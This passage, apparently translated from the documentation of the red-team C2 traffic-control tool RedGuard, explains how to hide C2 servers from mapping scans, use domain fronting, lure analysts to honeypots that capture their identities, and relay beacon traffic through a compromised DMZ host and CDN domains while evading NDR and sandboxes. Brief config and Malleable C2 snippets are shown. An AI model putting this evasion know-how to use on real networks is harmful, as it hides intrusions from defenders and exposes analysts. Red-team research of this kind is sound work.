Der Listener ist auf den tatsächlichen Leitungsport eingestellt, der der Adresse entspricht, an die RedGuard tatsächlich weiterleitet.
RedGuard hat die Anfrage empfangen:
## Kartierung der Cyberspace-Suche
Wie in der folgenden Abbildung dargestellt, wird die Sonde des räumlichen Kartierungssystems mehrmals das /-Verzeichnis unseres Reverse-Proxy-Ports abtasten, wenn unsere Abfangregel auf DROP gesetzt ist. Theoretisch wird das von der Kartierung gesendete Anforderungspaket wie gezeigt als normaler Datenverkehr getarnt. Aber nach mehreren Versuchen, da die Signatur des Anforderungspakets die Freigabeanforderungen von RedGuard nicht erfüllt, werden alle mit Close HTTP beantwortet. Der endgültige Effekt, der auf der Vermessungs- und Kartierungsplattform angezeigt wird, ist, dass der Reverse-Proxy-Port nicht geöffnet ist.
Der in der folgenden Abbildung gezeigte Datenverkehr bedeutet, dass die Kartierungssonde, wenn die Abfangregel auf Redirect gesetzt ist, nach Erhalt einer Antwort weiter unser Verzeichnis scannt. Der User-Agent ist zufällig, was normalen Datenverkehrsanfragen zu entsprechen scheint, aber beide wurden erfolgreich blockiert.
**Kartierungsplattform - Effekt des Abfangmodus für Hijack-Antworten:**
**Vermessungs- und Kartierungsplattform - Effekt der Umleitungsabfangung:**
## Domain-Fronting
RedGuard unterstützt Domain-Fronting. Meiner Meinung nach gibt es zwei Präsentationsformen. Eine ist die Verwendung der traditionellen Domain-Fronting-Methode, die erreicht werden kann, indem der Port unseres Reverse-Proxys in der standortweiten Beschleunigungs-Rückverweisadresse gesetzt wird. Auf der ursprünglichen Basis wird dem Domain-Fronting die Funktion der Verkehrssteuerung hinzugefügt, und es kann gemäß unserer Einstellung auf die angegebene URL umgeleitet werden, um realistischer zu wirken. Es ist zu beachten, dass die RedGuard-Einstellung des HTTPS HOST-Headers mit dem Domainnamen der standortweiten Beschleunigung übereinstimmen muss.
Im Einzelkampf schlage ich vor, dass die oben genannte Methode verwendet werden kann, und bei Teamaufgaben kann es auch durch selbstgebautes "Domain-Fronting" erreicht werden.
Beim selbstgebauten Domain-Fronting sollten mehrere Reverse-Proxy-Ports konsistent gehalten werden, und der HOST-Header zeigt konsequent auf den echten C2-Server-Listening-Port des Backends. Auf diese Weise kann unser echter C2-Server gut versteckt werden, und der Server des Reverse-Proxys kann den Proxy-Port nur durch Konfiguration der Firewall öffnen.
Dies kann durch mehrere Knotenserver erreicht werden, und konfigurieren Sie mehrere IPs unserer Knoten in der CS-Listener-HTTPS-Online-IP.
## Böswillige Honeypot-Falle
**Das Prinzip der böswilligen Honeypot-Falle beruht hauptsächlich auf der Hijacking-Antwort- oder Umleitungsfunktion der RG-Verkehrslenkung, die Analysten, die C2-Einrichtungen bewerten, zur Adresse der Honeypot-Sandbox führt. Im Hijacking-Antwort-Zustand leitet RG Anforderungsverkehr, der nicht den Eingangsregeln entspricht, zu den Honeypot-Assets.** Wenn man auf leistungsfähigere Honeypots trifft (z. B. solche, die Handynummern von Betreibern erfassen), initiiert der Client eine Anfrage gemäß der Antwort der Zielseite und wird durch jsonp gekapert, um relevante Informationen zu erhalten.
Stellen Sie sich vor, wenn Analysten direkt auf den C2-Online-Port zugreifen, werden sie zum Honeypot-Asset weitergeleitet, was die Analysten zweifellos stören wird. Die Analysten werden böswillig dazu gebracht, das Honeypot-Asset anzufordern, und das Honeypot-Überwachungsende erfasst die relevanten Informationen der Blue-Team-Analysten und verfolgt den Fehler. Wenn das Analyseziel von Anfang an falsch ist, wie kann man ein gutes Ergebnis erzielen? Dies wird zweifellos zu schweren internen Reibungen für das Verteidigungsteam führen.
**Hier ist eine Reihe von ZoomEye-Fingerabdrücken, die mit Honeypot-Assets verbunden sind:**```bash
(iconhash:"9fd6f0e56f12adfc2a4da2f6002fea7a" (title:"然之协同" +"iframe" +">v.ignoreNotice")) ("/static/js/2.ca599e2d.chunk.js?t=" +title:"OA办公系统") ("data.sloss.xyz/get_code.js?access") ("/monitordevinfo/common.js") (app:"honeyport" +country:china +after:"2022-08-22")
Die Methode, diesen Effekt zu erzielen, ist sehr einfach: Sie müssen nur die entsprechenden Schlüsselwerte in der RG-Konfigurationsdatei ändern.```bash
drop_action = proxy
Redirect = https://market.baidu.com
**P.S. Ich glaube, jeder weiß, wie man es konfiguriert, ohne Erklärung :)**
Diese Methode ist eine Art raffinierter Trick, der sich mehr in der Idee widerspiegelt. Wenn sie weiter genutzt wird, kann die Honeypot-Erfassungsfunktion in der C2-Frontend-Traffic-Steuerung bereitgestellt und dann interaktiver Traffic umgeleitet werden. Der Effekt ist, dass die Browser-Cache-Daten des Clients genauso wie bei einem traditionellen Honeypot abgerufen werden können. Ich persönlich halte es jedoch in der öffentlichen Version möglicherweise nicht für sinnvoll, dies auf die aktuelle Angriffs- und Verteidigungskonfrontation anzuwenden. Es ist bedeutungslos für den Angreifer, die sozialen Informationen des Blue-Team-Analysten zu erfassen und dann zurückzuverfolgen. Natürlich, wenn man einen Schritt zurücktritt, könnte dies die Analyse von C2-Beispielen gefährlicher machen. Wenn der Angreifer aus der Black- und Gray-Markt-Branche die virtuelle Identität des Analysten erhalten kann, und wenn die virtuelle und reale Identität umgewandelt werden kann, ist dies immer noch relativ gefährlich. **Deshalb denke ich, dass zukünftige Forschung und Analyse vorsichtiger und wachsamer sein sollten.**
## C2-Traffic basierend auf Edge-Node-Link-Interaktion
Im Angriffs- und Verteidigungsszenario sind die meisten Unternehmensnetzwerke immer noch grenzorientiert. Hier betrachten wir ein Szenario, in dem die externen Server im DMZ-Bereich in einer normalen Geschäftsumgebung häufig mit relevanten Zugriffsrichtlinien konfiguriert sind. Zu diesem Zeitpunkt, wenn die externen Server am Rand auf das Netzwerk zugreifen können, aber nicht direkt auf den internen Host zugreifen können, und die PCs oder zugehörigen Server im internen Netzwerk nicht direkt auf das öffentliche Netzwerk zugreifen, aber auf die Geschäftsserver im DMZ-Bereich zugreifen können, dann kann ich den Host des Edge-Nodes als RG-Knoten verwenden, um den internen Online-Traffic an unsere C2-Einrichtungen weiterzuleiten. Klingt das sehr ähnlich wie die herkömmliche Proxy-Übertragung? Dies ist jedoch nur eine Form der Darstellung der Fähigkeitsimplementierung. Lassen Sie uns weiter mit weiteren TIPPS fortfahren.
Wenn wir während des Verwaltungsprozesses einen Edge-Host einnehmen, nehmen wir an, dass wir die Shell-Berechtigungen übernommen haben. Wir werden RG auf diesem Server als unseren Frontend-Knoten bereitstellen **(in tatsächlichen Szenarien werden Konfigurationsdateien im Programm fest codiert, und sogar der Trojaner und RG werden im selben Programm kombiniert)**.
**Die Konfigurationsdatei ist wie folgt:**
Für die spezifische Konfiguration konzentrieren wir uns hauptsächlich auf die Pfeile. **Der Pfeil 1 oben ist der HOST-Domainname für die Interaktion zwischen dem internen Host und dem Edge-Knoten**. Es wird empfohlen, den relevanten internen Domainnamen gemäß dem spezifischen Szenario der Zieleinheit festzulegen. Stellen Sie sich den Traffic-Austausch zwischen zwei Hosts im internen Netzwerk über den internen Domainnamen vor. Hat BT den Mut, den interaktiven Traffic direkt zu unterbrechen? Natürlich, wenn sie feststellen können, dass es sich um bösartigen interaktiven Traffic handelt. **Der Pfeil 2 zeigt auf die Einstellung des konventionellen Domain-Frontends**. Dieses Schlüssel-Wert-Paar: Der Schlüssel entspricht dem Online-HOST und der Wert der Proxy-Adresse. Hier können wir es auf jede HTTPS-Domain setzen, die denselben CDN-Anbieter verwendet **(CDN-Knoten-IP ist auch in Ordnung, denken Sie daran, das http(s)://-Protokoll hinzuzufügen).**
EdgeHost ist der Domainname, der für das Domain-Frontend unseres Cloud-Dienstanbieters verwendet wird, und auch der Domainname, den der RG-Edge-Knoten bei der Interaktion mit C2 über den CDN-Knoten verwendet. Ja, RG wird den HOST-Domainnamen der legitimen Anfrage ändern und ihn in den Cloud-Service-CDN-Domainnamen ändern, der normal kommunizieren kann.
EdgeTarget ist der Domainname für die Interaktion innerhalb des internen Netzwerks, der mit Pfeil 1 identisch sein muss. Nur Traffic, der von dem hier durch HOST festgelegten Domainnamen angefordert wird, wird als legitim betrachtet, und RG wird ihn weiter zum Cloud-Service-CDN-Domainnamen für die anschließende Kommunikation ändern.
**Hier fassen wir zusammen:**
Das heißt, die Interaktion zwischen dem Edge-Knoten und dem Host im internen Netzwerk erfolgt über den festgelegten internen Domainnamen. Wenn der Trojaner eine Anfrage an den Edge-Knoten des RG sendet, wird geprüft, ob der HOST des Anfrage-Traffics der interne Domainname ist, der in der Konfigurationsdatei festgelegt wurde. Wenn dies der Fall ist, wird er als legitim betrachtet. RG ändert den HOST in den vom EdgeHost festgelegten Cloud-Dienstanbieter-CDN-Domainnamen für die weitere Kommunikation und leitet den Traffic an den C2-Server weiter, wodurch eine vollständige Verschleierung und hohe Verschleierung der gesamten Kette erreicht wird. Stellen Sie sich vor, der interne Domainname interagiert mit dem Edge-Knoten mit dem internen Domainnamen, aber der Edge-Knoten ändert weiterhin die tatsächliche interaktive Proxy-Adresse und den interaktiven HOST, wodurch eine asymmetrische Interaktionsinformation zwischen den beiden Hosts erreicht wird, was die Rückverfolgung erschwert und die Untersuchung erschwert.
**Interaktions-Traffic zwischen Edge-Knoten und internen Hosts, wie in der obigen Abbildung dargestellt**
Ein weiterer Vorteil dieses Ansatzes besteht darin, dass in der Cloud-Sandbox-Umgebung, da unsere Interaktions-IP gemäß dem internen Netzwerk angepasst ist, die Sandbox während der Analyse keine Konnektivitätskorrelationsanalyse für die interne IP durchführen kann.
Bei der Konfiguration ist zu beachten, dass der HOST für die Trojaner-Anfrage sein sollte:
- **HOST: Interner Domainname (in der RG-Konfigurationsdatei festgelegt)**
- **IP: Interne IP des Edge-Hosts**
- **Online-Port: 443 (entspricht dem http(s)-Listening-Port in der RG-Konfigurationsdatei)**
- **Listening-Port: der Port, auf dem C2 tatsächlich online ist**
Die C2-Listener-Einstellungen sind wie folgt:
Im Gegensatz zur Anfrage sollte der HOST des C2-Listeners der CDN-Domainname des Cloud-Dienstanbieters sein, solange der endgültige Traffic zum C2-Server übertragen werden kann.
Interaktions-Traffic des internen Knotens, wie in der folgenden Abbildung dargestellt, zeigt, dass die interne IP im DMZ-Bereich normalerweise Port 443 anspricht. Es ist nicht überraschend, dass ein interner Server oder PC mit dem Geschäftssystem im DMZ-Bereich verbunden ist.
Der interaktive Traffic des Edge-Hosts ist in der Abbildung dargestellt. In tatsächlichen Szenarien wird es keine große Anzahl von TIME_WAIT-Zuständen geben. Hier habe ich den Heartbeat-Packet-Sleep für Tests auf 0 gesetzt. In tatsächlichen Szenarien ist es sicherer, eine größere Heartbeat-Packet-Jitter- und Sleep-Zeit einzustellen. Und ich persönlich denke, dass HTTP-Traffic in tatsächlichen Szenarien nicht verwendet wird. Ist Klartext-Traffic nicht Zeitverschwendung? Daher wird dieser Port in der Regel nicht geöffnet sein. Wir werden den RG-Dateinamen in Tomcat, Apache, Nginx usw. ändern, um die Interaktion verwirrender aussehen zu lassen.
Bezüglich der Heartbeat-Packet-Jitter- und Sleep-Zeit können Sie die folgenden Felder einfach in der Malleable C2 Profile-Datei festlegen.```bash
set sleeptime "3000";
set jitter "20";
Wenn Sie es nicht festlegen, kann ein abnormaler Heartbeat-Paket-Alarm auftreten. In den meisten Fällen werden Forscher dies natürlich als Fehlalarm betrachten und ignorieren. Aus Sicherheitsgründen wird jedoch empfohlen, es so zu konfigurieren, dass kein abnormaler Heartbeat-Paket-Alarm ausgelöst wird. Damals wurde es mit 360 NDR-Geräten getestet, und der spezifische Effekt ist wie folgt:
Was HTTPS-Verkehr betrifft, kann kein auf dem Markt erhältliches Verkehrsüberwachungsgerät den Verkehr zensieren. Aktuelle Überwachungsgeräte arbeiten im Wesentlichen mit Schlüsselwort-Matching. Selbst bei einem Datenpaketerkennungswettbewerb eines bestimmten Herstellers wird die Verwendung von Klartextpaketen verlangt, was die Frage aufwirft, ob RTs in realen Kampfszenarien tatsächlich mit Klartextverkehr interagieren. Neben der oben erwähnten asymmetrischen Interaktionsinformation besteht der größte Vorteil dieser Methode darin, dass der RG-Knoten am Randknoten platziert wird, um eine Front-End-Verkehrskontrolle zu erreichen, wodurch er denselben funktionalen Effekt wie ein regulärer RG erhält.
Die Backend-Knoten der RG-Knoten werden in CDN-Knoten umgewandelt, um an den C2-Server weiterzuleiten. In konventionellen Szenarien werden die Frontend-Knoten der Domänen alle als erste Anforderungsknoten verwendet, und die Edge-Hosts werden nach dem RG online geschaltet. Die Interaktion zwischen dem Geschäftssystem in der DMZ-Zone und der öffentlichen CDN-IP sieht ebenfalls sehr harmonisch aus. In diesem Prozess interagieren weder der Intranet-Host noch der Edge-Host direkt mit unserem C2, was die Eleganz dieser fortschrittlichen Verschleierungstechnik ausmacht.
Natürlich sind neben den oben genannten Vorteilen gegenüber netsh- und iptables-Proxy-Transfers auch die einfache Konfiguration und das Fehlen von Konfigurationsaufzeichnungen einer der Vorteile.
Vielen Dank für Ihre Unterstützung. RedGuard wird weiterhin verbessert und aktualisiert. Ich hoffe, dass RedGuard mehr Sicherheitsexperten bekannt wird. Das Tool orientiert sich an den Design-Ideen von RedWarden.
Wir heißen alle willkommen, Ihre Anforderungen einzubringen. RedGuard wird mit diesen Anforderungen weiter wachsen und sich verbessern!
Über den Entwickler 风起 verwandte Artikel: https://www.anquanke.com/member.html?memberId=148652
2022Kcon Autor des Waffenspektrums der Hacker-Konferenz
Das 10. ISC Internet Security Conference Advanced Offensive and Defensive Forum zum Thema "C2 Front Flow Control"
Austausch von C2-Verkehr basierend auf Grenzknoten-Links
https://www.anquanke.com/post/id/278140
Analyse von Cloud-Sandbox-Flussidentifikationstechnologie
https://www.anquanke.com/post/id/277431
Realisierung der JARM-Fingerabdruck-Randomisierungstechnologie
https://www.anquanke.com/post/id/276546
C2-Infrastruktur-Bedrohungsinformations-Gegenmaßnahmen
风起于青萍之末，浪成于微澜之间。
Kunyu: https://github.com/knownsec/Kunyu
Wenn Sie Fragen oder Anforderungen haben, können Sie ein Issue unter dem Projekt einreichen oder den Entwickler durch Hinzufügen von WeChat kontaktieren.
| IP | Port | Protokoll | Dienst | Land | Stadt | Titel | Zeit |
|---|
| 103.211.xx.90 | 443 | https | Apache httpd | China | Suzhou | 百度图片-发现多彩世界 | 2023-08-28 |
| 223.113.xx.207 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.112.xx.48 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.40 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |
| 223.113.xx.31 | 443 | https | JSP3 | China | 405 Not Allowed | 2023-08-28 | |
| 223.113.xx.206 | 443 | https | JSP3 | China | Xuzhou | 403 Forbidden | 2023-08-28 |